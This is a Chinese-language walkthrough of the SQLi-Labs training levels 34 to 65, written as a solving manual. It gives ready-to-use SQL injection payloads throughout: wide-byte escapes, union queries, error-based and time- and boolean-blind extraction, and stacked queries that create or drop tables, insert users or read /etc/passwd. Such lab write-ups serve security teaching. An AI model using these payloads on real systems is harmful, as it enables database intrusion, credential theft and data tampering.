由于这里是使用 POST 方法提交参数,使用 Brup 抓包下来,得到提交的参数格式。
仍让使用 %df 让单引号逃逸,网页返回错误信息。
把后面的内容注释掉,网页回显登录失败,说明此处有单引号闭合的字符型注入。
uname=admin%df'--+&passwd=&submit=Submit |
获取数据库信息
判断回显位
uname=1%df'union select 1,2--+&passwd=&submit=Submit |
爆数据库和数据表
uname=1%df'union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=&submit=Submit |
爆字段名,这里注意也是要将数据表名进行16进制编码,前缀加上0x
uname=1%df'union select database(),group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+&passwd=&submit=Submit |
爆数据信息
uname=1%df'union select database(),group_concat(username,id,password) from users--+&passwd=&submit=Submit |
Less-35
使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了
?id=-1 |
判断回显位
?id=-1 union select 1,2,3 |
查看数据库和数据表
?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() |
查看数据内容(记得将数据表进行16进制编码,前缀0x)
?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=0x7573657273 |
查看数据内容
?id=-1 union select 1,database(),group_concat(username,id,password) from users |
Less-36
使用mysql_real_escape_string函数对于特殊字符进行转义。id参数是单引号,和前面三十二关一样
查看回显位 |
Less-37
注入正常的参数,网页回显正常信息。注入单引号对参数进行闭合,网页虽然返回了正确的信息,但是对单引号进行了转义。仍让使用 %df 让单引号逃逸,网页返回错误信息。
抓包,改数据
uname=%df'&passwd=&submit=Submit |
把后面的内容注释掉,网页回显登录失败,说明此处有单引号闭合的字符型注入。
uname=%df'--+&passwd=&submit=Submit |
注入过程与Less-34完全一样,此处不再赘述
第三部分:Stacked Injections
Less-38
输入id数,页面正常回显,输入单引号,页面报错
?id=1' |
根据错误信息判断闭合方式为’–+,并且为字符型注入
确定回显位置
?id=-1' union select 1,2,3--+ |
这不就是Less-1?!难道你真的以为我会用Less-1的方法过关吗?NONONO
查看源码后发现源代码存在mysqli_multi_query函数,该函数支持多条sql语句同时进行
所以,堆叠注入,启动!!!
小科普
堆叠注入攻击
堆叠查询注入攻击可以执行多条语句,多语句之间以分号隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己的要执行的语句
功能 | 语句 |
---|---|
新建一个表 | select * from users;create table A like users; |
删除创建的A表 | select * from users;drop table A; |
查询数据 | select * from users;select B,C,D; |
加载文件 | select * from users;select load_file(‘/etc/passwd’); |
增加一条数据 | select * from users;insert into users values(18,’zhong’,’zhong’); |
开始注入
在security库下增加一个表
?id=1'; create table test like users;–-+ |
页面正常回显,应该已经添加成功了
查看数据库
删除test表
?id=1'; drop table test;–-+ |
无啦
再创建一个新用户试试
?id=1'; insert into users values(18,'Rannnn','Rannnn');–-+ |
任意sql语句,懂我意思吧
能干啥我就不说了嗷
Less-39
输入id数,页面正常回显,输入单引号后页面报错
可知id参数是整数,正常联合注入就行
?id=-1 union select 1,2,3 |
当然也可以使用堆叠注入
?id=1;create table test like users;--+ |
Less-40
此关id参数是单引号加括号闭合,然后使用联合注入就可以了
查看数据表 |
Less-41
此关和Less-39一样,id是整数。
也可以使用堆叠注入
Less-42
进入此关,发现与Less-24的页面好像一模一样
经过各种尝试发现这关使用二次注入是行不通的,然后username的位置也是没有SQL注入漏洞的,所以这关尝试在password的位置使用堆叠注入攻击
在password的位置输入admin’
根据报错信息判断闭合方式为’#,并且为字符型注入
创建一张表试试
再试试创建一个新用户
登录成功
Less-43
此关和Less-42差不多,就是密码参数是单引号和括号闭合的(末尾记得注释--+
)。
Less-44
在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和井号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。
在密码处输入以下语句可以创建一个test表
a';create table test like users;# |
和 Less -42 完全一样,每次登陆时完成一步堆叠注入。
Less-45
本关和Less-43一样(闭合方式为')#'
)
Less-46
可以发现此关开始不是让我们输入id了,而是输入sort查询,输入sort=1试试
可以发现结果全部出来了
输入2试试呢?
可以发现顺序变了。喂,学了那么久的数据库,应该都猜到SQL语句是什么了吧?
哎呀,戳啦,是order by
!
不信?看看源码
叫!!!
所以我们现在得知整个SQL语句可控的就是order by之后的语句段
输入sort=4’,因为整个表格内不存在第四列,单引号测试是否为字符型
根据错误信息,判断为数字型注入
页面返回了完整的错误信息,所以可以使用报错注入或者延时注入,这里使用报错注入
可以在不知道数据库名的情况下直接查看数据表(注意:报错注入一次只能显示一条信息,需要使用limit方法把数据分隔成一条一条显示,比如下面的limit 3,1,就是跳过前三条,返回接下来的一条数据)
?sort=1 and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),1) |
也可以使用下面的代码,不需要使用limit方法即可显示所有信息
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ |
查看表下所有字段
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+ |
查看表内所有数据
?sort=1 and updatexml(1,concat(1,(select username from users limit 0,1)),1) |
Less-47
输入单引号页面报错,末尾加上注释符--+
后正常,为字符型注入
注入方式与Less-46一样
Less-48
与Less-46一样,不过没有了报错显示,只能使用延时注入
?sort=1 and if(length(database())=8,1,sleep(2)) |
页面快速反应,证明数据库长度为8
查看当前数据库第一个字母
?sort=1 and if(substr(database(),1,1)='s',1,sleep(2)) |
页面快速回显,证明当前库的第一个字母为s,修改substr函数的索引依次往后面猜解,这里就不做演示了(耗时太长,建议使用脚本)
查看当前库下的第一张表的第一个字母
?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(2)) |
页面快速反应,证明当前库下的第一张表的第一个字母为e,修改substr函数的索引依次往后面猜解,这里不做演示
查看users表下的第一个字段下的第一个字母
?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i',1,sleep(2)) |
页面快速反应,证明user表下的第一个字段的第一个字母为i,测试第二个字段和第三个字段的第一个字母
?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='u',1,sleep(2)) |
页面快速反应,证明user表下的第二个字段的第一个字母为u
?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1)='p',1,sleep(2)) |
页面快速反应,证明user表下的第三个字段的第一个字母为p
查看username,password字段下的第一个值的第一个字母
?sort=1 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)='d',1,sleep(2)) |
页面快速反应,证明username和password字段下的第一个值的第一个字母为d,更改substr函数的索引依次往后面猜解,这里不具体演示
延时盲注的特点就是只能一个字母一个字母的去猜,这里也可以发送到burpsuite的intruer模块进行暴力破解,这里就不演示了,理论都是一样的
Less-49
输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页无回显。
?sort=1' |
将后面的内容注释掉,网页用户名列表,得出此处存在单引号闭合的字符型的盲注。
?sort=1'--+ |
获取数据库信息
使用时间盲注,流程和 Less 48 差不多,使用单引号闭合。得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息
?sort=1 AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+ |
Less-50
输入sort=1,页面正常回显,在末尾加上一个单引号,页面报错,且没有回显sort数,去掉单引号,在末尾加上恒成立语句,页面正常回显,由此判断此关为数字型注入,这不跟前面Less-46一模一样嘛
不对,既然一模一样,为啥还有分两关?有问题,绝对有问题,马上看源码!
一看,你小子果然不对劲哈
Less-46使用的函数为mysqL fetch_assoc(),但这里却使用了mysgli_multi_guery()
You know m3,bro?
所以这里的不同点就在于本关可以使用堆叠注入的形式
报错注入攻击和时间盲注的攻击这里就不讲了,具体看Less-46
堆叠注入
?sort=1;create table test like users;--+ |
?sort=1;insert into users values(18,'Rannnn','Rannnn');--+ |
Less-51
输入sort=1,页面显示正常,在末尾加一个单引号,页面报错
根据错误信息显示判断闭合方式为’--+
,并且为字符型注入
这里有完整的错误回显,所以可以使用报错注入和时间注入,且查看源码后发现在本关使用了mysgli_multi_guery()函数,所以也是可以使用堆叠注入的
这里就演示报错注入
?sort=1' and updatexml(1,concat(1,(select user())),1)--+ |
查看数据表
?sort=1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1)--+ |
查看字段(users记得16进制编码)
?sort=1' and updatexml(1,concat(1,(select column_name from information_schema.columns where table_name=0x7573657273 limit 2,1)),1)--+ |
查看数据内容
?sort=1' and updatexml(1,concat(1,(select username from users limit 1,1)),1)--+ |
?sort=1' and updatexml(1,concat(1,(select password from users limit 1,1)),1)--+ |
Less-52
输入sort=1,页面正常回显,加上单引号,页面不显示错误信息
因为无错误回显,我们我们只能去猜闭合方式
?sort=1--+ #回显正常 |
所以判断为数字型注入
因为没有错误信息回显,所以我们只能使用时间盲注,但是本关使用mysgli_multi_guery()函数,所以也可以使用堆叠注入
前面的关卡有详细的解决方法,这里我就不做演示
Less-53
输入sort=1,页面正常回显,加上单引号,页面不显示错误信息
?sort=1'--+ |
所以判断这里闭合方式为’–+,并且为字符型注入
因为没有错误信息回显,所以我们只能使用时间盲注,但是本关使用mysgli_multi_guery()函数,所以也可以使用堆叠注入
前面的关卡有详细的解决方法,这里就不做演示
第四部分:Challenges
Less-54
进入页面,屏幕上回显了一段英文
翻译:
请按照靶场要求的操作,将ID作为参数输入,并输入数值 |
来者不善啊,这不纯纯CTF嘛,跟现实中的SQL注入很像了
输入正常ID数,页面正常回显,且用掉了一次机会
?id=1 |
末尾加上单引号
?id=1' |
没有错误回显信息,只能猜测闭合方式
这里只有10次机会,猜解过程就省略了,如果猜解超过了10次,可以点击右上角的重置挑战按钮进行重置即可
?id=1'--+ |
所以闭合方式为' --+
,且为字符型注入
判断字段数
?id=1' order by 3--+ #回显正常 |
确定回显位
?id=-1' union select 1,2,3--+ |
查看数据库和数据表
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+ |
查看m93vdzgg8q表下的所有字段
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='m93vdzgg8q'--+ |
查看secret_FM51字段下的值
?id=-1' union select 1,database(),group_concat(secret_FM51) from challenges.m93vdzgg8q--+ |
将返回的KEY提交到窗口就可以了
Less-55
进入页面,跟上一关的模式一样,但是次数变成了14次
照常先判断字符型还是数字型,判断过程不演示
最终判断闭合为) --+
其余步骤与上一题一样
?id=1) order by 4--+ |
?id=-1) union select 1,2,3--+ |
?id=-1) union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+ |
?id=-1) union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='639rxu396q'--+ |
?id=-1) union select 1,database(),group_concat(secret_1CJG) from challenges.639rxu396q--+ |
Less-56
进入此关,与上一题一模一样
判断字符型还是数字型,过程不演示
最终判断为') --+'
其余过程与上一题一模一样
?id=1') order by 4--+ |
?id=-1') union select 1,2,3--+ |
?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+ |
?id=-1') union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='w4yp326rdr' --+ |
?id=-1') union select 1,database(),group_concat(secret_YC1O) from w4yp326rdr --+ |
Less-57
页面不出所料还是一样的,判断字符型还是数字型
最后判断为" --+
其余部分一模一样,这里就不演示了,放一张最后拿到KEY的图
?id=1" union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+ |
?id=-1" union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='gt4eny50qo' --+ |
?id=-1" union select 1,database(),group_concat(secret_5BOJ) from gt4eny50qo --+ |
Less-58
进入此关,次数被减少到5次,这就很棘手了
经过我的多次尝试(重置),这里使用联合注入行不通,因为不管怎么构造联合查询语句都只会返回用户名和密码的值
输入?id=1'
,页面报错,根据错误提示显示判断闭合方式为' --+
,且为字符型注入,因为这里有完整的报错语句,我们使用报错注入
查看当前库
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+ |
查看数据库下数据表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ |
查看数据表内所有字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='xjgy3zcpbw'),0x7e),1)--+ |
查看数据表内数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_FT7Y) from challenges.xjgy3zcpbw),0x7e),1)--+ |
Less-59
与上一关相同,也是只有五次机会(真不够用啊)
所以我们尽量在前一轮完成判断字符型数字型,后一轮完成拿KEY
经过尝试,此关为数字型注入
?id=1 order by 4 |
用最后一次机会尝试了一下联合注入方式,发现还是不行(忘记截图了……)
重置后继续尝试,这次尝试报错注入
绕过查看数据库步骤直接查看数据表(节省次数的好方法)
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) |
查看数据表内字段
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='g0i2302861'),0x7e),1) |
查看数据内容
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(secret_THL2) from challenges.g0i2302861),0x7e),1) |
Less-60
进入此关,判断字符型数字型
?id=1' |
页面正常,继续输入
?id=1" |
页面报错,根据报错信息判断闭合方式为") --+
,且为字符型注入
因为页面返回的完整的错误信息,所以这里我们使用报错注入,步骤与上一题一样
跳过查看数据库步骤直接查看数据表(节省步骤)
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ |
查看数据表内字段
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wxvl7lv180'),0x7e),1)--+ |
查看数据表内数据
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_VJD8) from wxvl7lv180),0x7e),1)--+ |
Less-61
判断字符型数字型
经过两轮尝试(这题对于id处理还是严谨,我也是第一次看到有把id套两层括号的,可能我头发比较多,见识少了)
也是使用报错注入,步骤与前几题一样
这里就只放payload了(都试验过了,放心用)
查看数据库内表
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ |
查看数据表内字段
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='0irq2xn3i4'),0x7e),1)--+ |
查看数据表内数据
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_MGMW) from 0irq2xn3i4),0x7e),1)--+ |
Less-62
进入此关,要求130次内拿到KEY。哦吼,这次可以爽试了
经过仔细的尝试,最后判断闭合方式为')
。
但发现不显示错误信息,这不是让我们用布尔盲注嘛
你干嘛~,嗨嗨哟
这里附上大佬的脚本(见手册末尾附录1),需要自行更改脚本内的payload实现逐步爆破
Less-63
本关也是130次机会
也是先判断是否为字符型和数字型
输入id=1 and 1=2,明显不是
加入单引号,页面不显示内容,说明注入点带有单引号
更改为and1=1,在结尾加入注释符--+
,页面正常显示,判断出此页面闭合为' --+
?id=1' and 1=1 --+ |
但是在尝试的时候页面不显示错误信息,无法使用报错注入,尝试联合注入,无果
?id=1' union select 1,2,3--+ |
那么剩下的就是一种方法,布尔盲注
建议直接使用脚本进行爆破整个数据库(见手册末尾附录1)
Less-64
进入本关,输入?id=1
,页面正常回显,加上单引号,页面不回显,且没有任何错误信息
又是老朋友布尔盲注,哈哈哈好开心啊(&*%*¥……#&%*¥……#¥&#@#@#……)
依次尝试以下payload,判断字符型和数字型
?id=1--+ #回显错误 |
判断为数字型注入,使用脚本进行爆破(见手册末尾附录1)
Less-65
进入本关,输入?id=1
,页面正常回显
输入?id=1'
输入?id=1"
没有任何错误信息,依然是万恶的布尔盲注
经过尝试,判断为字符型注入
?id=1"--+ #回显错误 |
依旧是使用脚本进行爆破(见手册末尾附录1)
结语
到此,整套SQLi-Labs中一共65道SQL注入的题目就都做完了,编写此手册一共花费了一周的时间。虽然中间遇到了挺多的坎坷,但也总算是挺过来了,没有放弃。经过这一周的不断刷题,我也学到了很多,也被一些骚操作的注入方式折磨的死去活来(),不过也都过去了。希望这本花费了巨大时间与心血的手册,能给正在看的你提供一些帮助!如果喜欢的话也可以关注我的Github,接下来会更新更多的内容哦!
附录1
布尔盲注爆破脚本(适用于Less-62、Less-63、Less-64、Less-65),如出现连续的大片空白,请检查payload是否出现错误或延长payload末尾sleep()方法中的数字,将1.5修改2或更久,下方的if判断,<
符号后的数字也要相继更改,需要比sleep()中的时间久一点
import requests |
附录2
Less-9爆破脚本
import requests |